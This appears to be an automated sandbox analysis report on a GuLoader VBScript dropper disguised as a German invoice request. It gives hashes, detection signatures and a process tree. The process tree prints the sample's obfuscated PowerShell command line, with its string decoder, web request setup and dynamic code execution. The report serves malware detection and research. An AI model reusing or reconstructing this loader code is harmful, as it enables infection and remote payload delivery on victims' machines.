Edit tour
Windows
Analysis Report
Anfrage fur Proforma-Lieferrechnung und Zahlungsbedingungen.vbs
Overview
General Information
| Sample name: | Anfrage fur Proforma-Lieferrechnung und Zahlungsbedingungen.vbs |
| Analysis ID: | 1538491 |
| MD5: | 74bea39444aaab616939adfb22141173 |
| SHA1: | 68146894fedfe6a2c68fdbecfc6b26ce98c164e8 |
| SHA256: | 116129cfa708ab230b404febfa3a41c86c226849d41dde4120372d38c527be2d |
| Tags: | vbsuser-lowmal3 |
| Infos: |   |
 | |
Detection
GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
AI detected suspicious sample
Found suspicious powershell code related to unpacking or dynamic code loading
Potential evasive VBS script found (sleep loop)
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses ping.exe to check the status of other devices and networks
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 7460 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Anfra ge fur Pro forma-Lief errechnung und Zahlu ngsbedingu ngen.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
PING.EXE (PID: 7572 cmdline: ping gorme zl_6777.67 77.6777.67 7e MD5: 2F46799D79D22AC72C241EC0322B011D) 
conhost.exe (PID: 7580 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 7660 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" " <#Inspea king Overp ratice Hre apparater Heteroscia n #>;$Fili busterous= 'Koordinat vrdiernes' ;<#Panhygr ous Procur er Cantors Emeraldin e #>;$Husk like=$Erhv ervsaffald ets+$host. UI; functi on Lymnaei d($Simoniz e){If ($Hu sklike) {$ Methodisty ++;}$Minim umstermome teret=$Kna ster+$Simo nize.'Leng th'-$Metho disty; for ( $Pales=4 ;$Pales -l t $Minimum stermomete ret;$Pales +=5){$Post cardinal=$ Pales;$Dek ompression en+=$Simon ize[$Pales ];$underbr eeding='He lstegte';} $Dekompres sionen;}fu nction Orf rays($Advo lution){ . ($Landbetj ents) ($Ad volution); }$originat e=Lymnaeid 'UnsuMAnt iokampzBle gi R,nlBer elHobbaCo p/ run ';$ originate+ =Lymnaeid 'fors5Kjel .Thom0F,rb Nama(Kapr W UnfiNo o nDueldS,jd olagowMil, sObsc Sixp N UndTPoly Skri1 Dyb 0rigs.Toko 0Scia;Unde BullWUnpr i IndnNont 6 Res4Soci ;lind Amin xBlya6Hngs 4met.;rlin Caprfolkv Lizz:Egoi1 Tand3Fest1 Anta. .al0 Fi )Cl.p JogG yrked ecoc.orbkG .aso fej/ Kir2Skil0e rek1 ob0 c ,n0Myon1Pr od0Ddss1Ac qu PumFAt, li .lorInd ieHus fDel oo Im,xBen a/Tha 1Col o3S ip1Pap . git0 Tr e ';$Vgtig hedens=Lym naeid 'Erh .u Bous D fE Currunb l-parka P, pgstate ax nBibltFore ';$Adapti vely=Lymna eid ' trh Bist Cont An pFares B,l:Agen/R und/KvaloD eforC ratS tabhBruloV e biBo,smO utspSolfl. kdea BaanS nontDeckcB uc eSokknV erdt U,eeN ondrFire.a rkarNldeoT ech/CarbBP ageeB.rtsS labtDobbyP olir HeleU n.etBed,.s quaoMirkc Uncximcn ' ;$Reformbe vgelser=Ly mnaeid 'Pr e,>R,ma '; $Landbetje nts=Lymnae id 'Ma ci, atoE impxS .rv ';$Bef olk='lousi n';$Vitali zings='\Ki netoplast. Liq';Orfra ys (Lymnae id 'Patr$B rysgUnpol So OKronB UpsaS iklL ulu: icho Pr.dU,naI Sy SAlloEk atarprecEL evi=Rede$D o re SalnK likvChef:l ynnAMa opF luoPS msdK amea,nddtE eraPyro+F oto$ Vr.vN advI OphT ilmA Letl ,idiSubtzB awdiDy en Re GMilkSB r.t ');Orf rays (Lymn aeid ' S r $af rg,psp LDr,aOOpfo BCo ca Und lTe r:Hyp. dHun.O,rem BUnspbnar ENamel Mah t HiehUnch ENedsdUper eRabaRFoss N LogE a b sSham= r c $Di kALytt dDrataTigg P DeitTvan IScanVD ma eRom L,ods YAnan.Mega sTradpb dq lUdgiIune. T J n(Tr a $Srnur eau eAngeF Fo. OGradr Vel MEst,b ile Datav Gu.G RetoEC.njL PhansSjleE Tonr Ecd) G ln ');Or frays (Lym naeid ' Sv m[HespNEuk lE bnetHes t.BackSF d sEPolyRVic vConsIKul tCEnduE eg iPKonkoGry piSmaaNAar et RhymKul mAGennnana lA L aGM,s kekonfrair m] Lux: D. k:Nonms Di .EOverc Ov eUDispRCav iIActutJur yyBygnpRin ,RGrimoM.e aTOpdaoDuo eCHudiOMan iLUn n Far v=E,te Bru g[ UndnTun geRigsTSky .BilcSR g oE AttcSw, euKorrrCap hi Kikt an dYNavnpBlo kREk io Ar mt AmaoO,n ocspoooU,t rl Ma.TC v iY.rogPMys te U y]Hal :Chin:Ala htEm,iL En cSDepe1Udd a2Az m ');